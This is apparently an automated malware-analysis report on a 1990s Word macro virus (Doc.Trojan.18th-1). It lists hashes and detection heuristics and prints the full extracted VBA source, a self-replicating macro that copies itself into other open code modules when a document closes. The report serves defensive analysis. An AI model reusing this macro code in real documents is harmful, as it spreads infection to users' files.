Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7055b4ec4507b6ad…

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-08-16 08:04:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: b36d48ae3a9043ebb99fd60a65d16309 SHA-1: 521e05046728da2bdca05a9bdc8dc22a8450cf4a SHA-256: 7055b4ec4507b6adba6116f03f82e610f51fcc84d4a57b1c1bde9f172ddd309a
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV and contains VBA macros, specifically an AutoClose macro. The macro code appears to be designed for obfuscation or to facilitate the execution of additional malicious content, although the exact payload is not directly discernible from the provided script. The presence of legacy WordBasic markers and the AutoClose macro suggests an older, but still functional, malicious document.

Heuristics 4

  • ClamAV: Doc.Trojan.18th-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.18th-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 826 bytes
SHA-256: 058bf7fb03aa0ef8163778f3795ae61a0cd42ddab42c7534fc06f580a76d81b2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - 18th
Sub AutoClose(): Document_Close: End Sub
Private Sub Document_Close()
 On Error Resume Next
 For ι = 1 To VBE.CodePanes.Count
 Set υ = VBE.CodePanes(ι).CodeModule
    If υ.Find("~^^~", 0, 0, 0, 0) And ν = 0 Then
        λ = υ.Lines(1, υ.CountOfLines): ν = 1: ι = 0
    End If
    If Not υ.Find("~^^~", 0, 0, 0, 0) And ν = 1 Then
        VBE.CodePanes(ι).CodeModule.InsertLines 1, λ
    End If
 Next
End Sub
Private Sub UserForm_Initialize(): Document_Close: End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.